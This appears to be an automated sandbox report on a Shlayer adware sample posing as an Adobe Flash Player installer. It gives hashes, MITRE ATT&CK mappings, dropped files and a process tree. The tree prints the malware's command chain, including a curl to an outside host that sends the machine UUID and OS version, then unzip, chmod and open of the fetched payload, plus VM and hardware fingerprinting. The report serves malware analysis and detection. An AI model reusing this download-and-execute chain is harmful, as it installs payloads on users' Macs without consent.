shlayer | 852ff1b97c1155fc28b14f5633a17de02dcace17bdc5aadf42e2f60226479eaf

General

Target

AdobeFlashPlayer.dmg
Size

244KB
MD5

b2b519602673e27aa40085deb8827bd1
SHA1

e827f4c1a1790c13cd761cdbf31cd2c0d7b25e55
SHA256

852ff1b97c1155fc28b14f5633a17de02dcace17bdc5aadf42e2f60226479eaf
SHA512

a635290927f22d4ba578d2afa05e0c27542fbdb1317e0fd829496966a315e9d16cf71302361a76d4acd2880c199bdd47eb8a10ff51b0b1a7f2cfbb6427adf029
SSDEEP

6144:su9BEkqY5CT7mNuVlIbjQYUYX80t/eWiqQCBs462ftH:su9BEkZTEn8jt/biqBw2

Score

10^/10

shlayer adware discovery evasion

Malware Config

Signatures

Shlayer
Shlayer family.
adware shlayer

Identifies devices as anti-VM 1 IoCs

ioc	Process
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found

Queries the hardware information (I/O Kit registry). 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

ioc	Process
ioreg -rd1 -c IOPlatformExpertDevice	Process not Found

Queries the macOS version information. 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

ioc	Process
sw_vers -productVersion	Process not Found

file permission 1 TTPs
evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

File and Directory Discovery. 1 TTPs 2 IoCs

discovery

File and Directory Discovery

T1083

ioc	Process
dirname /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew	Process not Found
dirname /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS	Process not Found

Command and Scripting Interpreter 1 TTPs

Unix Shell
T1059.004

/bin/sh
sh -c "sudo /bin/zsh -c \"open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app\""
1⤵
PID:562

/bin/bash
sh -c "sudo /bin/zsh -c \"open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app\""
1⤵
PID:562

/usr/bin/sudo
sudo /bin/zsh -c "open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app"
1⤵
PID:562
- /bin/zsh
  /bin/zsh -c "open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app"
  2⤵
  PID:564
- /usr/bin/open
  open /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app
  2⤵
  PID:564

/usr/libexec/xpcproxy
xpcproxy com.apple.nehelper
1⤵
PID:565

/usr/libexec/xpcproxy
xpcproxy com.LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew.2300
1⤵
PID:566

/Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew
/Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew
1⤵
PID:566
- /usr/bin/dirname
  dirname /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS/LYwjtu0sc3XqkNVbQe_gM4YiRpmgUpRIew
  2⤵
  PID:567
- /usr/bin/dirname
  dirname /Volumes/AdobeFlashPlayer/AdobeFlashPlayer_567.app/Contents/MacOS
  2⤵
  PID:568
- /usr/bin/curl
  curl -f0L "http://api.macfantsy.com/sd/?c=q2BybQ==&u=C589348B-0863-5695-96A0-3DAE1B1C0B90&s=08F70CB9-BCA8-4839-A91D-DFA948CC6C59&o=10.15.1&b=2833846567"
  2⤵
  PID:1468
- /usr/bin/unzip
  unzip -P 76564833825112833846567 /tmp/x5hnI9oaM -d /tmp/kX5INk3O/
  2⤵
  PID:1471
- /bin/rm
  rm -f /tmp/x5hnI9oaM
  2⤵
  PID:1472
- /bin/chmod
  chmod +x "/tmp/kX5INk3O//Contents/MacOS/*"
  2⤵
  PID:1480
- /usr/bin/open
  open -a /tmp/kX5INk3O/ --args s 08F70CB9-BCA8-4839-A91D-DFA948CC6C59 /Volumes/AdobeFlashPlayer
  2⤵
  PID:1481

/usr/libexec/nehelper
/usr/libexec/nehelper
1⤵
PID:565

/usr/bin/openssl
openssl enc -base64 -d -aes-256-cbc -nosalt -pass pass:2833846567
1⤵
PID:571

/usr/libexec/xpcproxy
xpcproxy com.apple.assistantd
1⤵
PID:574

/usr/bin/base64
base64 --decode /dev/fd/63
1⤵
PID:576

/usr/bin/xxd
xxd -pu /dev/fd/63
1⤵
PID:580

/usr/bin/xxd
xxd -r -p /dev/fd/63
1⤵
PID:583

/System/Library/PrivateFrameworks/AssistantServices.framework/Versions/A/Support/assistantd
/System/Library/PrivateFrameworks/AssistantServices.framework/Versions/A/Support/assistantd
1⤵
PID:574

/usr/bin/sw_vers
sw_vers -productVersion
1⤵
PID:1456

/usr/bin/uuidgen
uuidgen
1⤵
PID:1458

/usr/bin/tr
tr -dc "[[:print:]]"
1⤵
PID:1461

/usr/bin/grep
grep -o "\"IOPlatformUUID\" = \"\\(.*\\)\""
1⤵
PID:1464

/usr/sbin/ioreg
ioreg -rd1 -c IOPlatformExpertDevice
1⤵
PID:1463

/usr/bin/sed
sed -E -n "s@.*\"([^\"]+)\"@\\1@p"
1⤵
PID:1465

/usr/bin/mktemp
mktemp /tmp/XXXXXXXXX
1⤵
PID:1467

/usr/bin/mktemp
mktemp -d /tmp/XXXXXXXX
1⤵
PID:1470

/usr/bin/grep
grep -m1 -v "*.app" /dev/fd/63
1⤵
PID:1475

/bin/ls
ls -1 /tmp/kX5INk3O/
1⤵
PID:1476

/usr/bin/sed
sed -E -n "s@^(/Volumes/[^/]+)/.*@\\1@p"
1⤵
PID:1479

/usr/libexec/xpcproxy
xpcproxy com.apple.geod
1⤵
PID:1489

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
1⤵
PID:1489

/usr/libexec/xpcproxy
xpcproxy com.apple.geod
1⤵
PID:1490

/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
/System/Library/PrivateFrameworks/GeoServices.framework/Versions/A/XPCServices/com.apple.geod.xpc/Contents/MacOS/com.apple.geod
1⤵
PID:1490

/usr/libexec/xpcproxy
xpcproxy com.apple.secinitd
1⤵
PID:1491

/usr/libexec/secinitd
/usr/libexec/secinitd
1⤵
PID:1491

/usr/libexec/xpcproxy
xpcproxy com.apple.cfprefsd.xpc.agent
1⤵
PID:1492

/usr/sbin/cfprefsd
/usr/sbin/cfprefsd agent
1⤵
PID:1492

/usr/libexec/xpcproxy
xpcproxy com.apple.AddressBook.ContactsAccountsService
1⤵
PID:1497

/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
/System/Library/Frameworks/AddressBook.framework/Executables/ContactsAccountsService
1⤵
PID:1497

/usr/libexec/xpcproxy
xpcproxy com.apple.routined
1⤵
PID:1498

/usr/libexec/routined
/usr/libexec/routined LAUNCHED_BY_LAUNCHD
1⤵
PID:1498

/usr/libexec/xpcproxy
xpcproxy com.apple.Maps.mapspushd
1⤵
PID:1500

/System/Library/CoreServices/mapspushd
/System/Library/CoreServices/mapspushd
1⤵
PID:1500

/usr/libexec/xpcproxy
xpcproxy com.apple.neagent.878568F8-CCE5-4157-8315-22F20DC8FB0A
1⤵
PID:1501

/usr/libexec/neagent
/usr/libexec/neagent
1⤵
PID:1501

/usr/libexec/xpcproxy
xpcproxy com.apple.corespotlightservice.725FD30A-6064-6C02-CC51-5DDB8891B57E
1⤵
PID:1505

/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
/System/Library/Frameworks/CoreSpotlight.framework/CoreSpotlightService
1⤵
PID:1505

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

Unix Shell

1

T1059.004

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

1

T1222

Linux and Mac File and Directory Permissions Modification

1

T1222.002

Credential Access

Discovery

File and Directory Discovery

1

T1083

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/Library/Preferences/com.apple.networkextension.uuidcache.plist

Filesize
42B

MD5
ce7f5b3d4bfc7b4b0da6a06dccc515f2

SHA1
ce657a52a052a3aaf534ecfbf7cbdde4ee334c10

SHA256
9261ecceda608ef174256e5fdc774c1e6e3dcf533409c1bc393d490d01c713f1

SHA512
db9de6afa0e14c347aa0988a985b8a453ef133a2413c03bae0fab48bda34d4f9a488db104837a386bb65c393e8f11b1ed4856b211c1c186423649c147d6aabfb

Download Submit
/Library/Preferences/com.apple.networkextension.uuidcache.plist

Filesize
106B

MD5
a60a7bcfc47eacaa66e5e3d701d3ba80

SHA1
7093ffc5beca33187c18461c7ff3259a1781ae35

SHA256
17e96efaf7f2e45e407a3c68fb57b78f09dea6fc1edf3732b888be4a4eadd468

SHA512
58736bd680d6c7a25b8d7db08fd4a258cf761dbaa44a5ece0c2b813ab12c20dc213ab40844dfc780687945cf2459f549f1a38bf3da16c5c332756f3b53e1c3a5

Download Submit
/Library/Preferences/com.apple.networkextension.uuidcache.plist

Filesize
147B

MD5
a6ed424e1135465fac072dc8c30be6a0

SHA1
8cb5811cfe6611074f7e01b8b9a533aa7bed4432

SHA256
c6a15fb293a7994c87cb4665fa076b4804c15a7f17753d267b6e271b036457dc

SHA512
d6dc5f49efacc0bea1d388e490c2e1283f6a6f42829e1ab30ec18b0ad35faf44e21d7780b84b5a2ebaff1e79da6fdc090bc547990b513cb311db82fb54cd8972

Download Submit
/Users/run/Library/Caches/GeoServices/ActiveTileGroup.pbd

Filesize
124KB

MD5
878d8ac80790fcaace58f46db9829e9c

SHA1
695ac1d677f32e1359a9f370e346b2da5cdec807

SHA256
0b0e494f483e32d078cae6acf1df2e50090aad444733a3898d06d9b2b7040ebe

SHA512
5875e2b9284b615569ce0c9ec46d62ab252a20ec9f915ac6752b0b35afa2f29d67925f7d92a400478f934bf0f2d02ff5db97fb8a576cad4fdb5ac7099f7043b3

Download Submit
/Users/run/Library/Caches/GeoServices/Resources/altitude-1168.xml

Filesize
150KB

MD5
76ebb0196d42a294b69ef118cbb301d5

SHA1
61e5ab752d351af1661716bc48c0520f66cd1d1b

SHA256
aaa9febe98e3a75220b4933d1f00f2bef276183491e7d171fa54d03259812759

SHA512
8dde09d72944e8925c5bd64dc3799a44d7c30191d5038939a24f8a45ccf4d66b84990e8be3e0f2ee1d42d1dd6e5ed3673c39f803874fb0840a3232cc1e533663

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/assistantd//mds/mdsDirectory.db

Filesize
47KB

MD5
0e4a0d1ceb2af6f0f8d0167ce77be2d3

SHA1
414ba4c1dc5fc8bf53d550e296fd6f5ad669918c

SHA256
cca093bcfc65e25dd77c849866e110df72526dffbe29d76e11e29c7d888a4030

SHA512
1dc5282d27c49a4b6f921ba5dfc88b8c1d32289df00dd866f9ac6669a5a8d99afeda614bffc7cf61a44375ae73e09cd52606b443b63636977c9cd2ef4fa68a20

Download Submit
/var/folders/pq/yy2b5ptn4cz739jgclj4m1wm0000gp/C/assistantd//mds/mdsObject.db

Filesize
4KB

MD5
d3a1859e6ec593505cc882e6def48fc8

SHA1
f8e6728e3e9de477a75706faa95cead9ce13cb32

SHA256
3ebafa97782204a4a1d75cfec22e15fcdeab45b65bab3b3e65508707e034a16c

SHA512
ea2a749b105759ea33408186b417359deffb4a3a5ed0533cb26b459c16bb3524d67ede5c9cf0d5098921c0c0a9313fb9c2672f1e5ba48810eda548fa3209e818

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads